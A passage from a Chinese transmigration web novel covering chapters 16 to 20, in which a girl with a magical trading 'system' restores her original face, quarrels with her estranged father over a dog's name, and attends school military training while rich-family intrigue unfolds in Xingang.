这也是为什么,夏露能从小在六中读书,和那群大院子弟玩在一起的原因。
人脉,阶级,这些隐形的东西,往往比什
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么都贵。
因为钱是可以靠后天努力赚来的,但有些东西根本赚不来,只能靠祖辈父辈积德。
不过也有一个好处,血脉能够链接的东西,只要血脉还在,就不会断绝。
夏露还小,就算是把姓氏改了,也可以说不是她自己的意思。等她需要的时候,还能再改回去。
于馨雅拍着儿子的襁褓,心里计算着,对他们来说,到底怎么样才更划算。
至于丈夫的前妻黄脸婆母女几个,在她这里,根本就不算一盘菜。
不算一盘菜的路昭这会儿心里很快乐。
俗话说得好,钱是人的胆,但对她这样一个未成年小女孩儿来说,金钱很大程度上带来的不是安全感反而是危险。
现在好了,有了苏将军的交易,她一下子拥有了过人的力量,原本受制于年龄的心,一下就踏实下来了。
之前忙忙碌碌的,根本没有来得及测试。这会儿有了经验,她马上感觉到了力量所带来的好处,要不要去报个格斗班?
不过这个时候大约是没有那种私人训练室的,路昭只好打消了这个念头。
大不了,想个办法自己练。
买了一张大镜子,路昭打车到楼下,然后艰难地往楼上搬。
刚到家门口,就被李翠萍看到了,马上笑话她:“买这做什么?就你这长脸,还好意思照镜子!”
“与你无关。”
路昭家是没有大镜子的,只有一个小小的,巴掌大的镜子放在李翠萍的房间里。
就那,也不是她专门卖的,而是结婚的时候别人送的。
她一直小心地藏着不拿出来用,用她的话来说,只有不正经的人才成天照镜子打扮。
大众口中贤惠正派的妻子形象被她执行了个百分百,绝对没有任何不符合这个身份的地方。
这也是为什么,她对离婚的事情反应这么大的原因,因为她不明白,自己到底哪儿做得不对。
路昭把镜子放到自己房间,看了一眼镜子里的自己,的确不大好看。
原身太瘦了,头发又干又黄像一把枯草。自己来的时间太短,即便努力增加营养,也不能这么快就养起来。
还有就是脸上,到处都是痘痘脓疮消完之后留下的疮疤,分布在鼻子下巴还有脖子上。
除此之外,她鼻子大概也是受过伤,像是被什么东西咋了一榔头,鼻梁塌了半截,鼻头还有些歪。
【我还能再回到原来的世界吗?】路昭戳小助手:【别告诉我我的一辈子待这本书里。】
【很遗憾,你基本上是回不去了。】系统的声音一如既往地没有起伏:【你在那个世界里,已经失去了活着的可能。】
路昭泄气,但也基本上预料到了。
便又问了别的:【那我能长回原来的样子吗?这长相太陌生了,看着好别扭。】
【可以,要花积分。】
【那就花!】
【你不攒着应急么?要知道你的生存危机还没有过去。】
【但我不喜欢顶着别人的脸生活,就像……】就像是在假装活的人一样。
系统没在说什么了,默默地帮她打开了商店,兑焕容药剂。
【幸亏你有基因印记,不然就算有几分,也兑换不到别人的长相。】
【长相和基因挂钩?】
【废话。】
【我只是觉得,咱们的红包交易群和商店里的商品,好像每一个都挺科学的。】
【那是因为不科学的那一部分,你还没有接触的资格。】
17. 第 17 章
第十七章
焕容药剂出自系统商店,效果当然迅猛。但放在现实生活中,突然变一张脸,是非常危险的。
系统提醒她不要急功近利,应该循序渐进。
好在也可以用水稀释之后分批外敷内服,于是路昭决定分批使用。也好给身边的人一个接受的过程,免得把她当成陌生人。
服用的第一天,路昭就开始觉得全身痒,脸上身上更是到处起皮。
那感觉实在是难受极了,被王阿姨看见,赶紧催她去医院。
“这怕不是蛇皮癣吧?看着又不像。”
牛桃花也探头看了一眼,说道:“看起来像是太阳晒过后起的皮,但你最近没晒大太阳啊!”
在他们村儿里,只有七八月份顶着中午大太阳去地里全天干农活,那才算是晒了大太阳。
大部分情况下,被晒得黑成碳的人,会在夏天过去之后,掉一层皮,但是也没见过路昭这样什么都没干,就开始掉皮的。
“癣,肯定是癣,不知道在哪儿沾了脏东西,快起开,可别传染上人。”李翠萍拿着鸡毛掸子赶路昭,不准让她坐在沙发上面。
路昭翻白眼:“你急什么急?明天我就要去军训了,两个礼拜都不会回来。”
“不回来最好。”
王阿姨劝:“还是去医院看看吧?或者问问哪个老中医抓服药吃吃。”
正好路昭也需要张扬一下,便答应了:“阿姨你陪我去。”
“好,阿姨陪你去。”
王阿姨摘了围裙和袖套,就换了鞋带着路昭往外面走,一边走一边问:“带钱了吗?我没去过大医院,也不知道医院要花多少钱。”
“带了,放心。”
“那就好,这几天别喝凉的了,也不能吃辣。还有魔芋鸡蛋和韭菜,是发物,都不能吃了。”
“嗯嗯。”
“哎,那学校里能行么?吃食堂不给你单做吧?要不这什么训,咱不去训了?跟老师说说?”
“不要,我想去的。”军训听说能打靶,她还没摸过呢。
王阿姨叹气:“那好吧,晚上回来我给你做些干粮……”
到了楼下,果然有人打招呼,问她们到哪儿去。
王阿姨立刻打听起来:“准备去医院呢,昭昭脸上起皮了,也不知道怎么回事。”
“起皮了?哎哟我瞧瞧?是挺厉害的呀!这是碰着什么不该碰的东西了?”
路昭摇头:“不知道,我什么都没有碰。”
“该不是癣吧?这看上去挺严重的。”其他人也凑了过来。
一个上了年纪的老奶奶扒开路昭的衣领,看了看她的脖子:“不是癣,癣不这样儿。”
“那这是……丫头子,你这不疼吧?”
“不疼,有点儿痒。”
“没事儿没事儿,我看是她掉老皮了。你看她去年儿脸上长得那些疮,都是火廖子给烤出来的。我们不是腿上也有吗?冬天一过就退了。按理来说,她这也应该早退了才对。”
“要说这萍子呀,就是不会带孩子。你看看好好个闺女,被她养成什么样?跟个烧火丫头似的。”
“嗨嗨嗨,她家也难……”
“难什么难,这会儿也不难了……”
目的达到,路昭瞧瞧催王阿姨:“赶紧走吧。”
“走走走,我们早点儿去医院。”
俩人赶紧从人群里抽身出来,去医院检查。
检查结果当然是什么问题都没有。
大夫连药都没给她开,只叮嘱她注意清洁不要用手去撕死皮,就让她们回去了。
第二天,路昭正背着大包小包东西去学校,刚到楼下,就看到路德荣的车。
那人穿了一件华丽丽的黑西装,腰上别了砖头一样的大哥大。看见路昭,就垮起个脸。
问她:“听说你们养狗了?”
“听谁说的?”
“你管我听谁说的,把狗给我弄走。”
“我养不养狗关你什么事?你是不是没睡醒啊?跑别人家里来撒酒疯?”
“别人家,我是你老子!”
“你这会儿不是别人的老子么?”
“你这……”
“哎哟!这是德荣啊?你回来了?”刘奶奶杵着拐棍出来,大老远就朝路德荣打招呼:“是看孩子来了吧?怎么在门口站着?”
“大娘,我那什么,我就来看看。”
“看看好,看看好,德荣啊!萍子吃了大苦头,身子熬坏了,你可不能没良心啊!”瞧这话说的,人家婚都离完了,还在叫人不要没良心,这也太晚了。
路德荣干笑两声,望了望眼前黑黢黢的筒子楼,根本没有上去的欲望。
她瞪了一眼路昭背上的包裹,问:“这一大早的,你干什么去?”
“我上学,要军训,大爷!”
路德荣啊了一声,才不解地问:“军训?你都上大学了?”
“高中,高中也要军训的。你那养女没告诉你?”
“她和我说这干嘛!你以为谁都像你这么闲?”
“因为我和她一个学校啊!她今天跟我一样,也是要去军训的。”
路德荣:“……”
路昭冷笑:“你这,也别到处吹牛皮说谁谁老子的吧?亲老子亲老子当不了,假老子假老子当不好,还有脸到处充老子,路大爷您脸真大!”
“我脸大?谁跟我伸手要钱还要请保姆的?吃老子喝老子的你还有理了?”
“我是有理,你花钱养我是应该的。要是不给,我就去告你遗弃罪,还要去你的公司和工地哭穷,看看咱们俩谁不要脸。”
路德荣:“……”
这丫头明明之前很腼腆的,上次见面也可怜兮兮很懂事,怎么几天不见,就变成了个刺头?她是鬼上身了吗?
“所以你今天来这里,是想干嘛?”
“想干嘛?想让你别找事,你是不是把弟弟的名字给了狗?”
“我的狗是我的狗,我想起名字就起名字,和别人没关系吧。你说这话……”路昭眼睛一亮:“别告诉我你那儿子的名字和我的狗重复了,那他叫路光宗还是叫路耀祖还是叫路天赐?不是吧?这么老土没内涵的名字,你们居然给人起?都不知道翻翻字典的嘛?”
字典当然翻了,还翻了不少。
但怎都挑不到合适的,总觉得配不上自己好不容易得来的崽。
到最后,还是光宗最符合心意。
至于为什么不叫耀祖?
哦!耀祖朋友的儿子已经占了。
路昭露出一个无比内涵的表情:“爸爸,您不是初中毕业了么?怎么还这么的……土啊,以后谈生意在外面跑,可千万别告诉别人你儿子叫这种名字,会被人笑话的。”
“你在胡说什么?”
“什么胡说?你出去问问,问问那些魔都精英,湾港老板,谁家会给孩子起这种名字?会被笑死的好吗?”
路德荣不说话。
他也已经在很努力地学习文化人的做派了,要不然有那么多年轻漂亮的小姑娘都应付不过来,又怎么会打上于馨雅这么个小学老师?
不就是看上她那一身的读书人气质么?
只可惜同样出自读书人家里的年轻女孩儿他拿钱也没砸上手,要不然,也轮不到她来生儿子。
路昭的话隐隐词戳中了他心里那点小脆弱,脸上表情就更不好看了。
“你要是想要让我给狗改名,那你随便说一句就是了,看在你是我爹的面子上,放心,我会给改的。这回我当着你的面起名行了吧?可别又说我是故意欺负人。”
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路昭想了想,就道:“这样,三个小狗子,分别就叫路良辰,路景行,路非安。这样总没问题了吧?”
路德荣不说话。
“不说话?那就是同意了?”路昭点点头:“行,同意了就好,我该走了,九点集合,快迟到了。”
说完她就走了。
路德荣深吸一口气,在楼下站了一会儿。
一抬头,看见楼上走廊里探头探脑,期期艾艾的李翠萍,一股郁气瞬间袭上心头。
路德荣暗道一声晦气,直接呸掉嘴里的烟,转身出了筒子楼。
从老城区开车回来,路德荣把钥匙扔给司机,揣着手上楼。
想到了什么,就问:“你女儿学校,高中也要军训?”
“你怎么知道?”于馨雅高兴地点了点头:“是的呢,六中和其他学校不一样,高中就得军训了。”
“哦。”
“你要是感兴趣,也可以去看看,他们今天出发,大概要训练一两个礼拜才回家。”
“不了,我去干什么。”于馨雅看了他一眼,没再继续这个话题,笑了笑,重新说起名字的事:“我想了想,还是重新给小宝起个名字吧,你觉得呢?”
“起吧,起个有文化的。”
“我也是这么想的。”于馨雅说着,把自己提前写好的稿纸拿出来给他:“你看看,我选了几个名字,你觉得哪个好?”
路德荣拿过来一看,‘高山仰止,景行行止,路景行。’‘美景良辰千秋苑,翩翩新燕又春来。路良辰。’
路德荣差点儿背过气去,偏偏于馨雅还在说:“这两个名字都好听,对了。我们已经结了婚,现在就是一家人。我觉得露露的名字也应该改一下,就叫路非安吧……”
“非安非安,非个屁安,你跟她就杠上了是吧?”
路德荣这下知道了,不是路昭在故意用名字刁难他儿子。是这对母女,在用名字和路昭过不去!她这是,脑子有毛病吧?
于馨雅哪里知道自己一句话,就直接炸了丈夫的火药桶。
她白着脸问:“你在说什么?不就是一个名字吗?干嘛这么大火气?”
“我干什么?你管我干什么。名字的事你别想了,我来起。”其实路光宗就是他起的,但他不想承认了。
于馨雅抱着孩子没说话。
路德荣却一时半会儿也没想好儿子叫什么,便先说起夏露的名字。
“什么非安不非安的,所不吉利。不叫夏露么?还叫原来的就好了。”
“但是,姓还是该改一下……”
“那就叫路露……算了,就路夏吧,这总行了吧。”
于馨雅深吸一口气:“可以,叫路夏也行。我这就告诉露露这个好消息。”
男人没理她,专心看儿子。
于馨雅搓了搓手指,说:“不过她们这会儿应该已经不在学校了,联系起来不方便。”
“我听说,他们学校里好多孩子都已经买了手机……”
路德荣还是专心看儿子。
于馨雅声音又软了两个调,继续说道:“老公……”
“随便随便,你看着办。”
女人终于高兴了:“那好,我下午就去买东西,听说从新港那边过来的牌子呢!可先进了,等露露回来,就说是你给她的惊喜。对了,过段时间,你是不是也要去新港?”
这个问题倒是戳到了路德荣的痒处。
他得意一笑:“当然,有大生意要谈。”
“太好了,要不是我没时间,也想和你一起去。”于馨雅问道:“听说新港那些豪门家里,还有姨太太和管家,不知道是不是真的?”
“当然是真的了。”路德荣笑道:“等有空了,带你去见识见识。”
于馨雅终于开心地笑了起来。
18. 第 18 章
第十八章
路德荣带着对新港资本社会的满满幻想过了海关,一下子就被新港的繁华迷花了眼。
对着报纸上的所谓老牌豪门一顿骂,心里的向往之情,却都快溢出来了。
却不知道,被他无限崇拜向往的豪门此时风起云涌,正经历着一场狂风暴雨。
五姨太翘着纤长的二郎腿,卡着细细的女士烟,俾睨环视,最后把目光停在大太太身上。
“大姐,凤凰楼是先生说好了给我的,你说管就要管,这也太过分了吧?”
五姨太今年二十四岁,是李仲和几个姨太太中,年龄最小的一个。
她不同于大家族出生的江娴音或者舞女记者出身的二姨太三姨太等人。
五姨太是个电影明星,很早就红了,爆红之后,就一下子成了李仲和的入幕之宾。
在她的身上,没有大太太的那种优雅端庄,也没有其他几位姨太太的谦卑贤良。
她的身上,充斥着火辣辣的张扬。
明艳的眉目,热辣的红唇。
用水晶和亮片织就得烈焰长裙包裹着她曼妙的身段,好像要将整个宅子,都拖入张牙舞爪的热情中去。
她是江娴音从来没有深入打过交道的女人。
准确地说,她甚至没有见过五姨太本人。
以前,不论她是江家大小姐时,还是嫁给李仲和后正值壮年。
不论男女,来到她身边,都必定是优雅谦卑的。
她们不会在她面前打扮得如此张扬,不会毫无顾忌地试图和她争抢风头。
更不会这样大大咧咧,翻着白眼说话看人。
但是现在,这样一个女人,出现在她的面前,展现出了一股让她无法招架的攻击力。
江娴音有些手足无措。
因为她所了解的对手,无一不是隐忍的,优雅的,即便要耍手段,表面也是风轻云淡的。
这个女人像一盆辣椒,直接泼到了她的脸上。让她原本制定好的那计划,一下子施展不开了。
“怎么不说话?大太太,您要是不给我个交代,那没办法,我只好去找先生要交代了。”女人掐了烟,摇曳生姿地站起来,踩着九公分的高跟鞋,哒哒走了两步,忽然又回过身,笑了笑,说:“不过要是您真喜欢凤凰楼,想拿去也没什么要紧。哎,幸好凤凰楼的帐我还没盘,不然岂不是白忙一趟?也好,这下就该劳累您了。”
江娴音心下一紧。
什么账?还没盘账?
江娴音下意识地去看李济和李陶,却见这俩人和她一样一脸懵。
这让她的心狠狠垂了一下,想说什么,五姨太已经走了。
三姨太干笑一声,劝大家吃饭。
四姨太嗤笑一声,说自己倒胃口。
只有二姨太端坐原来的位置,安安静静地当着弥勒佛,好像什么都没有发生。
江娴音最恨她这个样子,见状冷笑:“你还坐得住?家里进这么个人,你这二姨太干什么吃的?”
“这……关我什么事呀?”秋叶白讪笑一声:“老爷喜欢她,我有什么好说的?何况她也挺好,十分知情识趣,老爷最爱她这俏生生的模样了。”
别看秋叶白也才三十来岁,但她嫁进李家已经快二十年了。
当时的她还是个小孩儿,就跟了李仲和,这么多年下来,在李家的位置,也已经根深蒂固了。
只是相比起满腔爱意,都这把年纪了还在争风吃醋的江娴音。她对李仲和这个跟了一辈子的男人,好像还真是依靠比爱情多。
应该说,到了现在,连曾经的那点儿依靠也不剩多少了。
她笑盈盈地看着大太太,说:“老爷就是喜欢这种年轻明媚的女孩儿,你不是不知道。除了她,外面还不知道有多少呢,让我管?我哪儿管得过来。”
江娴音无话可说。
她气呼呼地站起来,正想让李济去凤凰楼的情况,就有人告诉她,自己的人,被李仲和一个电话就从凤凰楼赶出去了。
“赶出去了?他怎么可以这样?”凤凰楼是她的陪嫁,早年为了贷款抵押了。后来李仲和发达,才又被买了回来。
但是买回来之后,凤凰楼就已经不是她的私产了了。
只是当初买的时候说过,凤凰楼永远属于她。
但因为她重病瘫痪,行动不便,手续的事,就一直没有办。
现在好了,她的身体已经恢复,明明能够像以前那样处理家事了。
但是不管是管家也好,还是外面的生意也好,李仲和完全不让她碰。
仿佛她的身体恢复了,也依旧只能做一个健康了的闲人。买买衣服逛逛街,才是她仅有的归属。
江娴音并不是不喜欢买买衣服逛逛街的生活。
但她不喜欢因为无事可做,不得不去过买买衣服逛逛街的生活。
她想要和丈夫说清楚,但是李仲和大部分时间都在外面,就算回来,也是和其他人说说笑笑。对她,完全没有任何亲近可言。
曾经以为恢复了健康就能找回一切,重获幸福的江娴音,发现自己并没能得偿所愿。
“很好。”江娴音挂了电话:“你们走着瞧。”
“走着瞧?太太您说笑了。”四太太不屑地笑了笑,说道:“就您现在这样子,能翻起什么风浪?想让达令把主要产业交给你?别做梦了。”
“你以为我是你们吗?”江娴音无比骄傲地撂下狠话:“我是主的宠儿!主会帮我。”
说完起身就走。
四姨太瘪了瘪嘴,看向三姨太:“老五跑得还挺快,该不会以为跑了就没事了吧?”
“正常,她不想惹大太太,怕被报复。”三姨太依旧笑盈盈的,悠然地吃着燕窝排骨。
四姨太摇头:“这可是老爷给的任务,她跑了当然不得罪大太太,但是得罪老爷了。”
“不过话说回来,大太太也真是嘴紧。不就是怎么好起来的么?到底是吃了什么药还是请了什么大夫,说了就是了。这么简单的问题,她居然死咬着不放,也难怪老爷生气。”
“但家里的确没有来人,也没买什么药。”四姨太惊诧:“该不会是……老爷怀疑她这些年一直在装病把?没理由啊!”说完看着对面神闲气定的秋叶白:“二太太,你觉得呢?”
“我无所谓,老爷想知道什么,我们帮忙问就是了。”
“哼,你也真是一点儿好奇心都没有。”
话不投机,各自散去。
等所有人走了,秋叶白换了身衣衫,这才坐着轿车,到了旧宅。
这是秋叶白嫁人之前住的地方,后来她有钱了,父兄也跟着好起来。原本的窝棚平房就被一再扩建,成了如今的三进宅院。
这种宅院在新港这种地方很少见,但却是他们最喜欢的风格。
进了正门,从连廊进去,到了西苑,很快便见到了处理杂事的姨母。
见她过来,女人赶紧帮她拿掉肩上的披风,问道:“你怎么今天过来了?不是说这些日子那边忙得很么?”
李家婚礼办成了纳妾宴,这事儿闹出了不小的风波。现在街头巷尾都在议论,把二太太秋叶白当成了笑柄。
不过秋叶白本人到是看不太出来受了多大的影响。她依旧和以前一样,该做什么做什么,完全没有受到打击的样子。
此时被亲人问起来,她才叹一口气,说道:“本来也以为事情会很麻烦,但是现在看来么,也没什么要紧。”
她本来以为江娴音这个正房夫人的回归,会给她带来
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巨大的压力。却没有想到,没轮到她紧张,李仲和先出手了。
他对江娴音突然痊愈的事情非常好奇,想方设法地试图探明真想。
偏偏江娴音咬死不说,这一下,那两口子自己先对上了。反而她这个被嘲笑了的二姨太被扔到了一边。
不过,她的风轻云淡,也只是表面上看起来而已。
相比起一心想要知道真相的李仲和,她才是真正最着急的那一个。
“少爷这些日子好些了么?”
“挺好的,清早吃了小半碗粥,还进了些鸡汤。”女人说着:“这会儿他应该醒着,您过去正好。”
“那我先去看看他,你待会儿做饭,把我也算上,我今天下午留这边吃。”
“好好好,有你陪着,少爷能多吃几口。”
秋叶白这才穿过连廊,走到西苑,推门进去。
光线充足的房间里,摆着几样简单的木质家具,一张桌子一个茶几连同几个椅子,就再也没有别的东西了。
唯一的软榻摆在窗户边,窗帘被拉开着,让光线能毫无顾忌地透进来。
软榻上,躺着一个人清瘦单薄的少年。少年十几岁年纪,剑眉入鬓,鼻梁高挺。
他听见声音,长长的睫毛便颤了颤,睁开了,露出一双深不到底的眼睛。
没有回头,他知道是谁来了。于是轻叹一声,想要坐起来。
秋叶白赶紧上前扶着他起身,又在他背后垫了个软枕。再帮他披了件褂子在肩膀上,这才说话:“少爷好些了?姨母说你今儿喝了鸡汤,定是好多了。”
“这几天天气好,胃口也好些了。”少年声音清冷底哑,说了一句话,便停下来喘了好几下。
秋叶白没有再继续浪费时间,直接说明来意:“我家大太太确实是好了,这些日子我左右观察,绝对没有一点作假的迹象。老爷也是亲眼所见,所以更想知道她痊愈的原因。只是她的口风太紧,至今也没人能撬开。”
“身边的人都问了?”
“问了,照顾她的菲佣和护士都被审问过,他们不敢骗李仲和。”秋叶白疑惑道:“但是他们非常确定,江娴音根本没有见外人。”
“细节。”
“细节也与从前没有任何出入,不过是吃穿洗漱讲卫生。时不时看看报纸和电视打发时间。相比起来,也就是看手机的时间比从前多了许多。”
但是手机这东西,又没有什么好奇怪的。
少年垂着眼,好像在看什么,又好像完全没有聚焦。
秋叶白没敢打扰,过了好一会儿,才听少年说道:“从李仲和身上突破。”
“李仲和?但是他问过了,她还是什么都不说。”
“江娴音这个女人,最在乎她的婚姻。即便是她的儿子女儿出了事,她也不见得会松口,但是……”
一旦李仲和出了什么大问题,她就坐不住了。
江娴音从头到尾都是一个爱情至上的女人。以前她还有父母兄弟可依靠,但自从父亲回国之后,她所能依靠的,就只有丈夫李仲和。
所以一旦李仲和强求,江娴音也会没有作为。
只要她动,就是突破口。
秋叶白摇头:“老爷不会同意的,葡国大使也不会看着他对大太太动手。”
“呵!”少年轻笑一声:“你怎么知道,葡国大使,对江娴音的秘密不感兴趣?你真的确定在这个秘密面前,葡国大使还有港督大人们,会站在她一边?”
“你是说……”
“去吧。”少年重新躺下来:“我撑不了多久了,如果她的秘密对我没用……你们就要做别的准备了。”
“不会的,少爷放心,肯定会有用!”秋叶白猛地站起来,保证一句,就急匆匆地离开了。
19. 第 19 章
第十九章
【我要钱,我要很多的钱。】
【可以,交易。】
【我要升职,如果这次再不升职,我就再也没有升职的机会了。】
【可以,交易。】
路昭一个一个红包发完,清算了积分,立刻起床,跑去操场。
一分钟后号声响起,新生集合。
刚从睡梦中被叫醒的学生们乱七八糟地跑出来,有的连裤子都只穿了一半,还有的直接没有穿鞋。
教官黑着脸催促,好不容易才在限定时间内集合完毕。
两个没穿鞋的被说了一顿,让他们赶紧去把鞋穿上,这才开始晨跑。
六中的军训地点在郊外连队,一起军训的还有其他学校的高一新生。大家晨跑完了才能回去洗漱,然后去食堂吃饭。
早饭吃完后,开始站军姿,路昭有力量加持,不论是站军姿还是负重跑,都完成的又快又轻松。
下午射击训练更是十发十中,把教官都给吓了一跳。
很快连长也看到了成绩,晃悠悠地走过来,让教官加了十发子弹给她,亲眼看着路昭打完,兴致勃勃地问:“你这……想不想当兵?”
路昭当即摇头:“我还未成年,没想过这个。”
“那现在就可以想了!你这体能和准头,不当兵可惜了了。”
但她只是个甜宠文里的小炮灰啊!
暂时没有精力想这个。
“以后再说。”
“可以可以,我记下你了哈,等你高中念完来招兵等你报名。对了,考军校也行嘛!好好学习考上大学以后起步更高。”
连长爱惜地看着她摇头晃脑:“就是太瘦了一点儿,得多吃点饭,长壮实一些。个子再高一点儿就更好了,不过年纪不大,还能长……”
说完转身就抓着一群躲在旁边窃窃私语的男生训:“看什么看,没用的东西,连个女同学都比不上,白费这么多粮食。”
男生们本来本来就不爱军训,对他们来说,参加军训这种东西,也就是跑不掉才乖乖在操场上站着。
受老师喜欢,被连长夸奖这种事,是不仅不值得骄傲,反而要被笑话。
这个年纪的学生,一个个都想标新立异,想耍酷想叛逆,好像不这样不足以表现自己的时髦。
但是,不想当好孩子和被嘲讽比不上别人,尤其是比不上一个女孩子,那还是很不同的。
本来就不怎么喜欢她这种转校生的同学们,这会儿看她更加不顺眼了。
从第二天开始,他们合起伙来,对路昭进行针对和孤立。
站军姿的时候还好说,路昭可以自己调整位置。但列队走的时候就不一样了。
教官在前面喊口号,学生们齐步走。
路昭同排的学生们商量好了,每次都故意慢她一步或者快她一步。
所以每次明明路昭走的是对的,但一眼望去,就是她一个人歪了队伍。
两次之后,路昭也学乖了,一旦他们换步,她也跟着换。
到后来,她也不是非得一直紧跟他们的不掉了,反而等着他们准备换的时候做假动作,其他人不想让她同步,结果脚下一个打趔趄,整个队伍全都乱套,还摔了两个。
教官脸都气白了,狠狠骂了他们一顿,但是转回头来,又开始和路昭商量:“你们之间,是不是有什么误会?不然还是开诚布公地聊一下比较好。”毕竟这么多人合起伙来欺负她一个,也太过了。作为一个生活在集体当中的军人,他很难相信她本人完全没有一丁点儿问题。
路昭当时正在吃饭,咽下嘴里的肠粉,喝了口热水,这才说道:“我们虽然是同一个学校同一个班级,但我们班上,只有我一个人是考进来的,你懂我的意思吧?”
教官摇头,不是很懂。
高中生,考进学校不是很正常吗?
“其他人从小学幼儿园到初中,全都是同班同学,直升的。我是外校考进来的,和他们不是同一种人。”路昭表情淡淡的:“你难道没有发觉,你们的连长很厉害吗?”
教官当然同意:“我们连长当然很厉害啊!不然怎么会是连长?”
“我的意思是,你们连长的家世应该挺厉害的。”
教官没好气:“嘿你这小破孩儿,怎么这么势利眼呢?”
“你不势利眼,那你去动那群家伙试试?”
教官就长叹一声,不说话了。
路昭掰起手指,一个一个给他数自己半晌同学们的来历。教官揉着脑袋,越听越无奈,干脆拿出自己包里剩下的最后一个橘子,剥了皮塞进她手里,希望她不要再说了。
“她可真能耐,一进学校就把教官们都拿下了。”胖子柯典杵了杵胡奋的胳膊,笑着说:“她以前有这么厉害吗?”别的不说,就光打枪那个准头,是真让人无话可说,虽然心里很不愿意接受。
胡奋嗤笑一声:“什么厉害不厉害?还不是靠勾引人,她肯定在和教官谈恋爱!”
柯典和路昭原身还有胡奋以前都在同一所学校,不过后来柯典的父亲高升,家也搬了,所以他也就转学,进了六中初中部。
只是和现在的胡奋还有路昭一样,转学进初中部的柯典也是个外来者,花了好长时间才融入进去。
在此之前,他更多的还是喜欢和原来学校的同学们混在一起。毕竟父亲高升自己转学到了更好的学校去,对同龄人来说,是一见非常值得羡慕的事。这极大地满足了他的虚荣心,也治愈了在新学校遇到的挫折。
但三年过去,他在学校里,也依然是个透明人。
胡奋和他关系好,听了他不少吹嘘和八卦。自己现在进了六中,也不得不承认,这个学校真的是非常不好融入。
然而这才多长时间?
路昭这个莫名其妙的老同学,居然一下子就获得了连长和教官们的一致好评。
别看一起训练的同学们对她很不满,但看得出来,老师们全都开始注意她了。
这是胡奋无法接受的。
如果换成是别人,他是很乐意跟这样一个,和自己一样的转校生打交道甚至搞好关系的。
但这个人如果是自己长期以来一直瞧不起的人,那情况就不一
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样了。
他愤愤地吐槽:“那个丑八怪,教官是不是眼瞎?我看他是看上她家的钱了。”
“喂,你们在说什么呢?”班长叫他们过去抬水。
柯典赶紧笑了一声,道:“在说路昭谈恋爱呢!”
“路昭?谈恋爱?”班长顺着柯典的目光看过去,果然看到路昭和教官坐在一起,不知道在说什么。
“不能吧!你们可不要胡说八道。”学校学生怎么样先不说,教官们可都是从部队出来的,纪律非常严,不可能和学生发生什么,除非他们的前途是不想要了!
“不是胡说八道,这不是明摆着的……”柯典话还没有说完,被教官一眼横了过来,吓得手里的东西都掉了。
胡奋也立刻转过脸,假装刚才什么都没发生,然后揣着手,赶紧溜了。
夏露远远地看着他们,等人走了,才问身边的人:“学委,我们连长是哪里人呀?你知不知道?”
“你问这个干吗?”
“没什么,就是觉得他挺厉害的,校长好像都很尊重他。”
“那关我们什么事?”学委新得到了两张明信片,上面有她最喜欢的女明星的签名。
她好不容易拿到的,今天专门拿出来显摆。这会儿显摆完了,正捧着明信片静静欣赏对方的美貌。至于朋友的问题,她是完全没有上心的。
夏露咻一下抽走了她的明信片,嘟嘴表达不满:“我跟你说话你呢,干嘛不理我?”
“快把我明信片还我!”
“不还,谁让你敷衍我。”
“夏露,你换还明信片啊!”
“不给就不给,有本事你来抓我呀!”夏露嘻嘻哈哈拿着明星片逗女孩儿,结果一不留神摔倒了。
不仅她本人摔了个狗吃屎,女孩儿的明信片也直接被搓了一个洞,根本没法看了。
“你干什么呀夏露!我的明信片都给你摔坏了!”
“呜呜……”夏露疼得直接哭起来。
其他人见状,马上围过来安慰:“没事把露露,哎呀,手破皮了。”
“章烁你太过分了,干嘛推她?”
“我什么时候推她了?我就是想要拿回我的明信片!”
“一张明信片而已,大不了还你一个新的。”梁珂也已经跑过来,看见夏露手上蹭破的皮,十分生气。
其他人跟着附和:“就是啊,现在好了,夏露受伤了,手都破皮了!”
章烁气得不行,明明是夏露抢了自己的明信片不给,结果她自己摔倒了,最后还成自己的错了?
“走吧,去医务室。”
“下午你就请假吧,不要训练了……”
一群人簇拥着夏露离开了,留下学委章烁和她坏了的明信片,站在原地委屈。
路昭心中感叹,这就是团宠女主的威力,果然人见人爱花见花开,不管发生什么事情,都会被身边的人无脑维护,可真是让人惊叹。
章烁也看到了她,想到什么,居然朝她走了过来。
路昭可不想和她聊天,见她往自己这边走,赶紧起身离开了。
20. 第 20 章
第二十章
【刚才有人来过。】路昭刚回到宿舍,系统就告诉她说:【有人想把手机拿走,被我躲掉了。】
【偷手机?是谁?】
【不知道,系统处于无授权状状态,只有自保功能。】
路昭显然也猜不到会有什么人想拿自己的手机,何况也没有偷到,她好像也说不了什么。
【不授权的情况下你看不到外面?授权就可以了对么?】
【是。】
路昭开了授权,想了想,还是道:【明天起我把手机带在身上。】
【你会被教训的。】
【我就说我放的东西位置变了,不敢继续放在宿舍。】
系统就无话可说了。
洗漱完,路昭直接早床上躺下开始睡觉。
中途舍友们回来过,小声说了一会儿话,其中一个人和路昭一样留下来休息,其他人好像说要去开篝火晚会,便离开了。
之后门被关住了,路昭又睡了过去。
不知道过了多长时间,迷迷糊糊中,被一阵喧闹声吵醒。
“好大的雨啊!”室友也醒了,披着衣服支着脑袋从窗户往外面看,然后说:“外面好多人,是不是出什么事了?”
路昭侧耳一听,果然很多人在外面。
她也披了衣服爬起床,开门走到外面。发现隔壁宿舍的女孩儿们也和自己一样在探头探脑往外看啊。
“怎么了?该不会是哪儿的房子塌了吧?”
“不是,好像是有人跑出去玩儿了,到现在都没有回来。”
“跑出去玩儿?到现在?”路昭看了眼时间,已经凌晨两点多了。外面又这么大的雨,该不会是出什么事了吧?
【就是你的那个继妹,她和朋友们一起出去野炊,说要看什么流星,就偷偷翻墙跑出去了。】
系统提醒:【他们现在会有危险,你要插手吗?】
【夏露?人家是女主角,就算天塌下来也不会有事的吧?用得着我管?】路昭不在意地问:【原著剧情里有这回事儿吗?】
【当然有,不过是回忆内容。】
路昭耸耸肩:【反正也不会跟我们有什么关系。】
路昭确定不是哪里塌方毁屋,便一下子不担心了,心安理得地躺了回去。
不过外面雨声太大,再加上已经睡了好几个小时,这会儿躺着也没什么睡意。
路昭干脆掏出手机水群,发现里面有好几条未读信息。
其中一条是想要交易情报的,路昭确定了没什么问题就点了同意。然而另外几条,却是火急火燎地在求救命。
路昭猛一下坐了起来:【盘石坡,这么近?】
再看信息,京市,程聿。
该不会是……
遇到同学了吧?
路昭躺不下去了。
虽然说不应该让人产生任何怀疑点,但积分该赚还是应该赚!
路昭迅速从床上爬起来,穿上衣服换好鞋子,跑去教师宿舍借雨衣。
